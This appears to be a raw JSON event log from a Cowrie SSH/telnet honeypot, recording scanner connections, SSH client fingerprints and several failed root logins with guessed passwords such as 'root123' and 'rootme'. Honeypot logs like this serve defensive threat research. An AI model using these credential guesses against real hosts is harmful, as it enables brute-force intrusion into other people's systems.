{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:43.739963Z","src_ip":"143.20.185.207","session":"faba5557538c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.234","src_port":59742,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbbc8679d0b7","protocol":"ssh","message":"New connection: 205.210.31.234:59742 (10.17.0.5:22) [session: cbbc8679d0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:44.490302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:45.549032Z","src_ip":"205.210.31.234","session":"cbbc8679d0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:46.830685Z","src_ip":"205.210.31.234","session":"cbbc8679d0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.029446601867676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:54.081837Z","src_ip":"72.167.226.244","session":"e15dd7fc86e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:54.572632Z","src_ip":"205.210.31.234","session":"cbbc8679d0b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":57386,"dst_ip":"10.17.0.5","dst_port":23,"session":"3802004404b2","protocol":"telnet","message":"New connection: 72.167.226.244:57386 (10.17.0.5:23) [session: 3802004404b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:00.816017Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":45706,"dst_ip":"10.17.0.5","dst_port":22,"session":"993a4c08c402","protocol":"ssh","message":"New connection: 91.92.40.11:45706 (10.17.0.5:22) [session: 993a4c08c402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:02.885425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:03.009091Z","src_ip":"91.92.40.11","session":"993a4c08c402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:03.012476Z","src_ip":"91.92.40.11","session":"993a4c08c402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:04.125132Z","src_ip":"91.92.40.11","session":"993a4c08c402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:05.369592Z","src_ip":"91.92.40.11","session":"993a4c08c402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35254693031311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:31.168440Z","src_ip":"72.167.226.244","session":"3802004404b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47856,"dst_ip":"159.203.135.109","dst_port":23,"session":"f54143bb2ba3","protocol":"telnet","message":"New connection: 107.6.151.170:47856 (159.203.135.109:23) [session: f54143bb2ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:31.725657Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33642,"dst_ip":"159.203.135.109","dst_port":23,"session":"d185688c699a","protocol":"telnet","message":"New connection: 107.6.151.170:33642 (159.203.135.109:23) [session: d185688c699a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:50.558763Z"}
{"eventid":"cowrie.session.closed","duration":0.0034346580505371094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:50.562052Z","src_ip":"107.6.151.170","session":"d185688c699a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":50634,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6296332aa35","protocol":"ssh","message":"New connection: 91.92.40.11:50634 (10.17.0.5:22) [session: d6296332aa35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:54.461646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:54.758918Z","src_ip":"91.92.40.11","session":"d6296332aa35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:54.761907Z","src_ip":"91.92.40.11","session":"d6296332aa35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:55.566804Z","src_ip":"91.92.40.11","session":"d6296332aa35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:35:56.789494Z","src_ip":"91.92.40.11","session":"d6296332aa35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":58514,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e8b5c78d7b8","protocol":"ssh","message":"New connection: 20.228.179.34:58514 (10.17.0.5:22) [session: 6e8b5c78d7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:07.220317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:07.224761Z","src_ip":"20.228.179.34","session":"6e8b5c78d7b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:07.234857Z","src_ip":"20.228.179.34","session":"6e8b5c78d7b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B10f1n!Tr0ng#W0rd","message":"login attempt [root/B10f1n!Tr0ng#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:07.266840Z","src_ip":"20.228.179.34","session":"6e8b5c78d7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:08.281219Z","src_ip":"20.228.179.34","session":"6e8b5c78d7b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.447031021118164,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:10.172585Z","src_ip":"107.6.151.170","session":"f54143bb2ba3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":44402,"dst_ip":"159.203.135.109","dst_port":22,"session":"843c4a28b344","protocol":"ssh","message":"New connection: 147.45.211.215:44402 (159.203.135.109:22) [session: 843c4a28b344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:39.545709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:39.549189Z","src_ip":"147.45.211.215","session":"843c4a28b344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:39.720188Z","src_ip":"147.45.211.215","session":"843c4a28b344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha2002","message":"login attempt [root/masha2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:40.237828Z","src_ip":"147.45.211.215","session":"843c4a28b344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:41.412247Z","src_ip":"147.45.211.215","session":"843c4a28b344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":57752,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd3fc84fda4","protocol":"ssh","message":"New connection: 91.92.40.11:57752 (10.17.0.5:22) [session: 7fd3fc84fda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:44.474879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:44.527155Z","src_ip":"91.92.40.11","session":"7fd3fc84fda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:44.633618Z","src_ip":"91.92.40.11","session":"7fd3fc84fda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootme","message":"login attempt [root/rootme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:45.273036Z","src_ip":"91.92.40.11","session":"7fd3fc84fda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:46.491230Z","src_ip":"91.92.40.11","session":"7fd3fc84fda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d47514a9dc3","protocol":"telnet","message":"New connection: 72.167.226.244:47490 (10.17.0.5:23) [session: 3d47514a9dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:36:58.542404Z"}
{"eventid":"cowrie.session.closed","duration":30.590166568756104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:37:29.132449Z","src_ip":"72.167.226.244","session":"3d47514a9dc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":43118,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b7204e2cab","protocol":"ssh","message":"New connection: 91.92.40.11:43118 (10.17.0.5:22) [session: a3b7204e2cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:37:35.810165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:37:36.192338Z","src_ip":"91.92.40.11","session":"a3b7204e2cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:37:36.194988Z","src_ip":"91.92.40.11","session":"a3b7204e2cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"system","message":"login attempt [root/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:37:37.018086Z","src_ip":"91.92.40.11","session":"a3b7204e2cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:37:38.235398Z","src_ip":"91.92.40.11","session":"a3b7204e2cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":60464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b62545a51d","protocol":"ssh","message":"New connection: 143.20.185.207:60464 (10.17.0.5:22) [session: d9b62545a51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:04.375517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:04.379610Z","src_ip":"143.20.185.207","session":"d9b62545a51d","protocol":"ssh"}
